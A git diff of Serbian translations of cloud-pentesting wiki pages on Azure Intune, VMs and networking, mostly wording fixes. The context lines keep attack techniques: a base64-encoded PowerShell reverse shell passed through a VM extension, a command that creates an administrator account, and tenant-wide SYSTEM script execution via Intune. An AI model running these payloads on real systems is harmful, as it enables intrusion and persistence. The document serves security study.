@@ -77,7 +77,7 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -Reso
|
||||
> Podrazumevano `az` cli će koristiti ključ naloga za potpisivanje ključa i izvršavanje akcije. Da biste koristili privilegije Entra ID glavnog korisnika, koristite parametre `--auth-mode login`.
|
||||
|
||||
> [!TIP]
|
||||
> Koristite parametar `--account-key` da naznačite ključ naloga koji treba koristiti\
|
||||
> Koristite parametar `--account-key` da označite ključ naloga koji će se koristiti\
|
||||
> Koristite parametar `--sas-token` sa SAS tokenom za pristup putem SAS tokena
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
@@ -4,26 +4,26 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Microsoft Intune je dizajniran da pojednostavi proces **upravljanja aplikacijama i uređajima**. Njegove mogućnosti se protežu na raznovrsne uređaje, uključujući mobilne uređaje, desktop računare i virtuelne krajnje tačke. Osnovna funkcionalnost Intune-a se vrti oko **upravljanja pristupom korisnika i pojednostavljivanja administracije aplikacija** i uređaja unutar mreže organizacije.
|
||||
Microsoft Intune je dizajniran da pojednostavi proces **upravljanja aplikacijama i uređajima**. Njegove mogućnosti se protežu na raznovrsne uređaje, uključujući mobilne uređaje, desktop računare i virtuelne krajnje tačke. Osnovna funkcionalnost Intunea se vrti oko **upravljanja pristupom korisnika i pojednostavljivanja administracije aplikacija** i uređaja unutar mreže organizacije.
|
||||
|
||||
## Cloud -> On-Prem
|
||||
|
||||
Korisnik sa **Global Administrator** ili **Intune Administrator** ulogom može izvršavati **PowerShell** skripte na bilo kojem **registriranom Windows** uređaju.\
|
||||
**Skripta** se izvršava sa **privilegijama** **SYSTEM** na uređaju samo jednom ako se ne menja, i iz Intune-a **nije moguće videti izlaz** skripte.
|
||||
```powershell
|
||||
**Skripta** se izvršava sa **privilegijama** **SYSTEM** na uređaju samo jednom ako se ne menja, i iz Intunea **nije moguće videti izlaz** skripte.
|
||||
```bash
|
||||
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
|
||||
```
|
||||
1. Prijavite se na [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) ili koristite Pass-The-PRT
|
||||
2. Idite na **Devices** -> **All Devices** da proverite uređaje registrovane u Intune
|
||||
3. Idite na **Scripts** i kliknite na **Add** za Windows 10.
|
||||
4. Dodajte **Powershell script**
|
||||
- .png>)
|
||||
5. Odredite **Add all users** i **Add all devices** na stranici **Assignments**.
|
||||
1. Prijavite se na [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) ili koristite Pass-The-PRT
|
||||
2. Idite na **Devices** -> **All Devices** da proverite uređaje registrovane u Intune
|
||||
3. Idite na **Scripts** i kliknite na **Add** za Windows 10.
|
||||
4. Dodajte **Powershell script**
|
||||
- .png>)
|
||||
5. Specifikujte **Add all users** i **Add all devices** na stranici **Assignments**.
|
||||
|
||||
Izvršenje skripte može trajati do **jednog sata**.
|
||||
Izvršenje skripte može trajati do **jednog sata**.
|
||||
|
||||
## References
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune)
|
||||
- [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# Az - Virtuelne mašine i mreža
|
||||
# Az - Virtuelne Mašine i Mreža
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije o Azure mrežama
|
||||
## Osnovne Informacije o Azure Mrežama
|
||||
|
||||
Azure mreže sadrže **različite entitete i načine za konfiguraciju.** Možete pronaći kratak **opis,** **primere** i **komande za enumeraciju** različitih Azure mrežnih entiteta u:
|
||||
|
||||
@@ -12,14 +12,14 @@ az-azure-network.md
|
||||
|
||||
## Osnovne informacije o VM-ovima
|
||||
|
||||
Azure virtuelne mašine (VM-ovi) su fleksibilni, na zahtev **serveri zasnovani na oblaku koji vam omogućavaju da pokrećete Windows ili Linux operativne sisteme**. Omogućavaju vam da implementirate aplikacije i radne opterećenja bez upravljanja fizičkim hardverom. Azure VM-ovi se mogu konfigurirati sa različitim opcijama CPU-a, memorije i skladišta kako bi zadovoljili specifične potrebe i integrisali se sa Azure uslugama kao što su virtuelne mreže, skladište i alati za bezbednost.
|
||||
Azure Virtuelne Mašine (VM-ovi) su fleksibilni, na zahtev **serveri zasnovani na oblaku koji vam omogućavaju da pokrećete Windows ili Linux operativne sisteme**. Omogućavaju vam da implementirate aplikacije i radne opterećenja bez upravljanja fizičkim hardverom. Azure VM-ovi mogu biti konfigurirani sa različitim opcijama CPU-a, memorije i skladišta kako bi zadovoljili specifične potrebe i integrisali se sa Azure uslugama kao što su virtuelne mreže, skladište i alati za bezbednost.
|
||||
|
||||
### Konfiguracije bezbednosti
|
||||
|
||||
- **Zone dostupnosti**: Zone dostupnosti su različite grupe datacentara unutar specifične Azure regije koje su fizički odvojene kako bi se smanjio rizik od uticaja lokalnih prekida ili katastrofa na više zona.
|
||||
- **Tip bezbednosti**:
|
||||
- **Standardna bezbednost**: Ovo je podrazumevani tip bezbednosti koji ne zahteva nikakvu specifičnu konfiguraciju.
|
||||
- **Pouzdano pokretanje**: Ovaj tip bezbednosti poboljšava zaštitu od boot kitova i malvera na nivou jezgra korišćenjem Secure Boot-a i Virtuelnog pouzdanog platformskog modula (vTPM).
|
||||
- **Pouzdano pokretanje**: Ovaj tip bezbednosti poboljšava zaštitu od boot kitova i malvera na nivou jezgra korišćenjem Secure Boot i Virtual Trusted Platform Module (vTPM).
|
||||
- **Poverljive VM-ove**: Pored pouzdanog pokretanja, nudi hardversku izolaciju između VM-a, hipervizora i host menadžmenta, poboljšava enkripciju diska i [**više**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Autentifikacija**: Podrazumevano se generiše nova **SSH ključ**, iako je moguće koristiti javni ključ ili prethodni ključ, a podrazumevano korisničko ime je **azureuser**. Takođe je moguće konfigurirati korišćenje **lozinke.**
|
||||
- **Enkripcija diska VM-a:** Disk je podrazumevano enkriptovan kada je u mirovanju koristeći ključ koji upravlja platforma.
|
||||
@@ -39,13 +39,13 @@ Azure virtuelne mašine (VM-ovi) su fleksibilni, na zahtev **serveri zasnovani n
|
||||
- Ukupna mreža izlaz je veća od 200GB
|
||||
- VmAvailabilityMetric je manji od 1
|
||||
- **Monitor zdravlja**: Podrazumevano proverava protokol HTTP na portu 80
|
||||
- **Zaključavanja**: Omogućava zaključavanje VM-a tako da može biti samo čitan (**ReadOnly** zaključavanje) ili može biti čitan i ažuriran, ali ne može biti obrisan (**CanNotDelete** zaključavanje).
|
||||
- **Zaključavanja**: Omogućava zaključavanje VM-a tako da može biti samo čitan (**ReadOnly** zaključavanje) ili može biti čitan i ažuriran, ali ne i obrisan (**CanNotDelete** zaključavanje).
|
||||
- Većina resursa povezanih sa VM-ovima **takođe podržava zaključavanja** kao što su diskovi, snimci...
|
||||
- Zaključavanja se takođe mogu primeniti na **nivoima grupe resursa i pretplate**
|
||||
|
||||
## Diskovi i snimci
|
||||
|
||||
- Moguće je **omogućiti povezivanje diska sa 2 ili više VM-ova**
|
||||
- Moguće je **omogućiti povezivanje diska na 2 ili više VM-ova**
|
||||
- Podrazumevano je svaki disk **enkriptovan** sa ključem platforme.
|
||||
- Isto važi i za snimke
|
||||
- Podrazumevano je moguće **deliti disk sa svih mreža**, ali se može i **ograničiti** samo na određene **privatne pristupe** ili **potpuno onemogućiti** javni i privatni pristup.
|
||||
@@ -64,7 +64,7 @@ az disk show --name <disk-name> --resource-group <rsc-group>
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
```powershell
|
||||
```bash
|
||||
# List all disks
|
||||
Get-AzDisk
|
||||
|
||||
@@ -76,10 +76,10 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## Slike, Galerijske Slike i Tačke Obnavljanja
|
||||
|
||||
**VM slika** je šablon koji sadrži operativni sistem, podešavanja aplikacija i datotečni sistem potreban za **kreiranje nove virtuelne mašine (VM)**. Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, kopija u određenom trenutku jednog upravljanog diska, koja se prvenstveno koristi za backup ili rešavanje problema, dok slika može sadržati **više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova**.\
|
||||
**VM slika** je šablon koji sadrži operativni sistem, postavke aplikacija i datotečni sistem potrebne za **kreiranje nove virtuelne mašine (VM)**. Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, kopija u određenom trenutku jednog upravljanog diska, koja se prvenstveno koristi za backup ili rešavanje problema, dok slika može sadržati **više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova**.\
|
||||
Slike se mogu upravljati u **odeljku Slike** u Azure-u ili unutar **Azure compute galerija** koje omogućavaju generisanje **verzija** i **deljenje** slike između različitih korisnika, pa čak i njeno postavljanje kao javne.
|
||||
|
||||
**Tačka obnavljanja** čuva konfiguraciju VM-a i **snapshots** aplikacija u određenom trenutku koji su dosledni za sve upravljane diskove povezane sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u tom specifičnom trenutku.
|
||||
**Tačka obnavljanja** čuva konfiguraciju VM-a i **snapshots** aplikacija koji su konzistentni u određenom trenutku **svi upravljani diskovi** povezani sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u tom specifičnom trenutku.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
@@ -116,7 +116,7 @@ az restore-point collection show --collection-name <collection-name> --resource-
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
```powershell
|
||||
```bash
|
||||
## List all galleries and get info about one
|
||||
Get-AzGallery
|
||||
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
|
||||
@@ -180,7 +180,7 @@ az network bastion rdp \
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
```powershell
|
||||
```bash
|
||||
# List bastions
|
||||
Get-AzBastion
|
||||
```
|
||||
@@ -189,7 +189,7 @@ Get-AzBastion
|
||||
|
||||
## Metadata
|
||||
|
||||
Azure Instance Metadata Service (IMDS) **pruža informacije o aktivnim instancama virtuelnih mašina** kako bi pomogao u njihovom upravljanju i konfiguraciji. Nudi detalje kao što su SKU, skladište, mrežne konfiguracije i informacije o predstojećim događajima održavanja putem **REST API dostupnog na ne-rutabilnoj IP adresi 169.254.169.254**, koja je dostupna samo iz unutar VM-a. Komunikacija između VM-a i IMDS ostaje unutar hosta, obezbeđujući siguran pristup. Kada se upit vrši prema IMDS, HTTP klijenti unutar VM-a treba da zaobiđu web proksije kako bi obezbedili pravilnu komunikaciju.
|
||||
Azure Instance Metadata Service (IMDS) **pruža informacije o aktivnim instancama virtuelnih mašina** kako bi pomogao u njihovom upravljanju i konfiguraciji. Nudi detalje kao što su SKU, skladište, mrežne konfiguracije i informacije o predstojećim događajima održavanja putem **REST API dostupnog na ne-rutabilnoj IP adresi 169.254.169.254**, koja je dostupna samo iz unutar VM-a. Komunikacija između VM-a i IMDS ostaje unutar hosta, osiguravajući siguran pristup. Kada se upit vrši prema IMDS, HTTP klijenti unutar VM-a treba da zaobiđu web proksije kako bi osigurali pravilnu komunikaciju.
|
||||
|
||||
Pored toga, da bi se kontaktirao metadata endpoint, HTTP zahtev mora imati zaglavlje **`Metadata: true`** i ne sme imati zaglavlje **`X-Forwarded-For`**.
|
||||
|
||||
@@ -336,7 +336,7 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
|
||||
az vm run-command list --output table
|
||||
```
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
# Get readable VMs
|
||||
Get-AzVM | fl
|
||||
# Lis running VMs
|
||||
@@ -450,7 +450,7 @@ az vm extension image list --publisher "Site24x7" --output table
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# It takes some mins to run
|
||||
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
|
||||
```
|
||||
@@ -509,7 +509,7 @@ az vm extension set \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
- Izvrši reverznu školjku iz fajla
|
||||
- Izvrši reverznu školjku iz datoteke
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
@@ -523,7 +523,7 @@ az vm extension set \
|
||||
Možete takođe izvršiti druge payload-ove kao što su: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Resetovanje lozinke koristeći VMAccess ekstenziju
|
||||
```powershell
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
@@ -540,7 +540,7 @@ Zahtevana dozvola je još uvek **`Microsoft.Compute/virtualMachines/extensions/w
|
||||
<summary>VMAccess ekstenzija</summary>
|
||||
|
||||
Ova ekstenzija omogućava modifikaciju lozinke (ili kreiranje ako ne postoji) korisnika unutar Windows VM-ova.
|
||||
```powershell
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
@@ -552,7 +552,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
<summary>DesiredStateConfiguration (DSC)</summary>
|
||||
|
||||
Ovo je **VM ekstenzija** koja pripada Microsoftu i koristi PowerShell DSC za upravljanje konfiguracijom Azure Windows VMs. Stoga se može koristiti za **izvršavanje proizvoljnih komandi** u Windows VMs putem ove ekstenzije:
|
||||
```powershell
|
||||
```bash
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
Node localhost {
|
||||
@@ -603,7 +603,7 @@ Set-AzVMDscExtension `
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
|
||||
Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VM-ovima iz automatskog naloga. Za više informacija pogledajte [Automation Accounts service](../az-automation-account/index.html).
|
||||
Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VM-ovima iz automatskog naloga. Za više informacija proverite [Automation Accounts service](../az-automation-account/index.html).
|
||||
|
||||
</details>
|
||||
|
||||
@@ -622,7 +622,7 @@ Ovo su putanje gde se aplikacije preuzimaju unutar fajl sistema:
|
||||
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
|
||||
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
|
||||
|
||||
Proverite kako da instalirate nove aplikacije na [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
Proverite kako da instalirate nove aplikacije u [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
|
||||
> [!CAUTION]
|
||||
> Moguće je **deliti pojedinačne aplikacije i galerije sa drugim pretplatama ili zakupcima**. Što je veoma zanimljivo jer bi to moglo omogućiti napadaču da unese backdoor u aplikaciju i pređe na druge pretplate i zakupce.
|
||||
@@ -721,7 +721,7 @@ az vm application set \
|
||||
|
||||
### Korisnički podaci
|
||||
|
||||
Ovo su **perzistentni podaci** koji se mogu preuzeti sa metadata krajnje tačke u bilo kojem trenutku. Napomena: u Azure korisnički podaci se razlikuju od AWS i GCP jer **ako ovde stavite skriptu, ona se po defaultu ne izvršava**.
|
||||
Ovo su **perzistentni podaci** koji se mogu preuzeti sa metadata krajnje tačke u bilo kojem trenutku. Napomena: u Azure korisnički podaci se razlikuju od AWS i GCP jer **ako ovde postavite skriptu, ona se po defaultu ne izvršava**.
|
||||
|
||||
### Prilagođeni podaci
|
||||
|
||||
@@ -731,7 +731,7 @@ Moguće je proslediti neke podatke VM-u koji će biti sačuvani na očekivanim p
|
||||
- U **Linux** su se čuvali u `/var/lib/waagent/ovf-env.xml`, a sada se čuvaju u `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Linux agent**: Po defaultu ne obrađuje prilagođene podatke, potrebna je prilagođena slika sa omogućеним podacima
|
||||
- **cloud-init:** Po defaultu obrađuje prilagođene podatke i ovi podaci mogu biti u [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Može lako izvršiti skriptu jednostavno slanjem samo skripte u prilagođenim podacima.
|
||||
- Pokušao sam da i Ubuntu i Debian izvrše skriptu koju stavite ovde.
|
||||
- Pokušao sam da i Ubuntu i Debian izvrše skriptu koju ovde postavite.
|
||||
- Takođe nije potrebno omogućiti korisničke podatke da bi ovo bilo izvršeno.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
@@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt
|
||||
```
|
||||
### **Pokreni Komandu**
|
||||
|
||||
Ovo je najosnovniji mehanizam koji Azure pruža za **izvršavanje proizvoljnih komandi u VMs**. Potrebna dozvola je `Microsoft.Compute/virtualMachines/runCommand/action`.
|
||||
Ovo je najosnovniji mehanizam koji Azure pruža za **izvršavanje proizvoljnih komandi u VM-ovima**. Potrebna dozvola je `Microsoft.Compute/virtualMachines/runCommand/action`.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Osnovne Informacije
|
||||
|
||||
Azure pruža **virtuelne mreže (VNet)** koje omogućavaju korisnicima da kreiraju **izolovane** **mreže** unutar Azure oblaka. Unutar ovih VNets, resursi kao što su virtuelne mašine, aplikacije, baze podataka... mogu se sigurno hostovati i upravljati njima. Mrežno povezivanje u Azure podržava kako komunikaciju unutar oblaka (između Azure usluga), tako i povezivanje sa spoljnim mrežama i internetom.\
|
||||
Azure pruža **virtuelne mreže (VNet)** koje omogućavaju korisnicima da kreiraju **izolovane** **mreže** unutar Azure oblaka. Unutar ovih VNets, resursi kao što su virtuelne mašine, aplikacije, baze podataka... mogu se sigurno hostovati i upravljati. Mrežno povezivanje u Azure podržava kako komunikaciju unutar oblaka (između Azure usluga), tako i povezivanje sa spoljnim mrežama i internetom.\
|
||||
Pored toga, moguće je **povezati** VNets sa drugim VNets i sa lokalnim mrežama.
|
||||
|
||||
## Virtuelna Mreža (VNET) i Podmreže
|
||||
@@ -35,7 +35,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List VNets
|
||||
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
|
||||
|
||||
@@ -49,7 +49,7 @@ Select-Object Name, AddressPrefix
|
||||
|
||||
## Grupa za bezbednost mreže (NSG)
|
||||
|
||||
**Grupa za bezbednost mreže (NSG)** filtrira mrežni saobraćaj kako ka, tako i od Azure resursa unutar Azure Virtuelne Mreže (VNet). Sadrži skup **pravila bezbednosti** koja mogu da odrede **koje portove otvoriti za dolazni i odlazni saobraćaj** prema izvoru porta, izvornoj IP adresi, odredišnom portu i moguće je dodeliti prioritet (manji broj prioriteta, veći prioritet).
|
||||
**Grupa za bezbednost mreže (NSG)** filtrira mrežni saobraćaj kako prema tako i od Azure resursa unutar Azure Virtuelne Mreže (VNet). Sadrži skup **pravila bezbednosti** koja mogu da odrede **koje portove otvoriti za dolazni i odlazni saobraćaj** prema izvoru porta, izvornoj IP adresi, odredišnom portu i moguće je dodeliti prioritet (manji broj prioriteta, veći prioritet).
|
||||
|
||||
NSG-ovi se mogu povezati sa **podmrežama i NIC-ovima.**
|
||||
|
||||
@@ -75,7 +75,7 @@ az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --q
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List NSGs
|
||||
Get-AzNetworkSecurityGroup | Select-Object Name, Location
|
||||
Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
|
||||
@@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
|
||||
|
||||
## Azure Firewall
|
||||
|
||||
Azure Firewall je **upravljana mrežna sigurnosna usluga** u Azure-u koja štiti cloud resurse inspekcijom i kontrolom saobraćaja. To je **stanje svestan firewall** koji filtrira saobraćaj na osnovu pravila za slojeve 3 do 7, podržavajući komunikaciju kako **unutar Azure-a** (east-west saobraćaj) tako i **ka/od eksternih mreža** (north-south saobraćaj). Postavljen na **nivou Virtuelne Mreže (VNet)**, pruža centralizovanu zaštitu za sve podmreže u VNet-u. Azure Firewall automatski skalira kako bi zadovoljio zahteve saobraćaja i osigurava visoku dostupnost bez potrebe za ručnom konfiguracijom.
|
||||
Azure Firewall je **upravljana mrežna sigurnosna usluga** u Azure-u koja štiti cloud resurse inspekcijom i kontrolom saobraćaja. To je **stanje svestan firewall** koji filtrira saobraćaj na osnovu pravila za slojeve 3 do 7, podržavajući komunikaciju kako **unutar Azure-a** (east-west saobraćaj) tako i **ka/iz spoljašnjih mreža** (north-south saobraćaj). Postavljen na **nivou Virtuelne Mreže (VNet)**, pruža centralizovanu zaštitu za sve podmreže u VNet-u. Azure Firewall automatski skalira kako bi zadovoljio zahteve saobraćaja i osigurava visoku dostupnost bez potrebe za ručnom konfiguracijom.
|
||||
|
||||
Dostupan je u tri SKU-a—**Basic**, **Standard** i **Premium**, svaki prilagođen specifičnim potrebama kupaca:
|
||||
|
||||
| **Preporučeni slučaj upotrebe** | Mala/Srednja preduzeća (SMB) sa ograničenim potrebama | Opšta preduzeća, filtriranje slojeva 3–7 | Veoma osetljiva okruženja (npr. obrada plaćanja) |
|
||||
| ------------------------------- | ---------------------------------------------------- | ---------------------------------------- | ------------------------------------------------- |
|
||||
| **Performanse** | Do 250 Mbps propusnosti | Do 30 Gbps propusnosti | Do 100 Gbps propusnosti |
|
||||
| **Obaveštavanje o pretnjama** | Samo obaveštenja | Obaveštenja i blokiranje (maliciozni IP-ovi/domeni) | Obaveštenja i blokiranje (napredna obaveštajna inteligencija) |
|
||||
| **Filtriranje L3–L7** | Osnovno filtriranje | Stanje svestan filtriranje preko protokola | Stanje svestan filtriranje sa naprednom inspekcijom |
|
||||
| **Napredna zaštita od pretnji**| Nije dostupna | Filtriranje zasnovano na obaveštajnoj inteligenciji | Uključuje sistem za otkrivanje i prevenciju upada (IDPS) |
|
||||
| **TLS inspekcija** | Nije dostupna | Nije dostupna | Podržava ulaznu/izlaznu TLS terminaciju |
|
||||
| **Dostupnost** | Fiksni backend (2 VM-a) | Automatsko skaliranje | Automatsko skaliranje |
|
||||
| **Jednostavnost upravljanja** | Osnovne kontrole | Upravljano putem Firewall Manager-a | Upravljano putem Firewall Manager-a |
|
||||
| ------------------------------- | ----------------------------------------------------- | --------------------------------------- | ------------------------------------------------- |
|
||||
| **Performanse** | Do 250 Mbps propusnosti | Do 30 Gbps propusnosti | Do 100 Gbps propusnosti |
|
||||
| **Obaveštavanje o pretnjama** | Samo obaveštenja | Obaveštenja i blokiranje (maliciozni IP-ovi/domeni) | Obaveštenja i blokiranje (napredna obaveštajna inteligencija) |
|
||||
| **Filtriranje L3–L7** | Osnovno filtriranje | Stanje svestan filtriranje preko protokola | Stanje svestan filtriranje sa naprednom inspekcijom |
|
||||
| **Napredna zaštita od pretnji** | Nije dostupna | Filtriranje zasnovano na obaveštajnoj inteligenciji | Uključuje sistem za detekciju i prevenciju upada (IDPS) |
|
||||
| **TLS inspekcija** | Nije dostupna | Nije dostupna | Podržava ulaznu/izlaznu TLS terminaciju |
|
||||
| **Dostupnost** | Fiksni backend (2 VM-a) | Automatsko skaliranje | Automatsko skaliranje |
|
||||
| **Jednostavnost upravljanja** | Osnovne kontrole | Upravljano putem Firewall Manager-a | Upravljano putem Firewall Manager-a |
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -124,7 +124,7 @@ az network firewall nat-rule collection list --firewall-name <FirewallName> --re
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List Azure Firewalls
|
||||
Get-AzFirewall
|
||||
|
||||
@@ -159,7 +159,7 @@ az network route-table route list --route-table-name <RouteTableName> --resource
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List Route Tables
|
||||
Get-AzRouteTable
|
||||
|
||||
@@ -180,7 +180,7 @@ Private Link se može koristiti sa raznim Azure uslugama, kao što su Azure Stor
|
||||
|
||||
**Primer:**
|
||||
|
||||
Razmotrite scenario u kojem imate **Azure SQL Database koju želite sigurno pristupiti iz vaše VNet**. Obično bi to moglo uključivati prelazak preko javnog interneta. Sa Private Link-om, možete kreirati **privatnu krajnju tačku u vašoj VNet** koja se direktno povezuje sa Azure SQL Database uslugom. Ova krajnja tačka čini da baza podataka izgleda kao da je deo vaše vlastite VNet, dostupna putem privatne IP adrese, čime se osigurava siguran i privatni pristup.
|
||||
Razmotrite scenario u kojem imate **Azure SQL Database koju želite sigurno pristupiti iz vaše VNet**. Obično bi to moglo uključivati prolazak kroz javni internet. Sa Private Link-om, možete kreirati **privatnu krajnju tačku u vašoj VNet** koja se direktno povezuje sa Azure SQL Database uslugom. Ova krajnja tačka čini da baza podataka izgleda kao da je deo vaše vlastite VNet, dostupna putem privatne IP adrese, čime se osigurava siguran i privatni pristup.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
@@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List Private Link Services
|
||||
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
|
||||
|
||||
@@ -207,11 +207,11 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
|
||||
|
||||
## Azure Service Endpoints
|
||||
|
||||
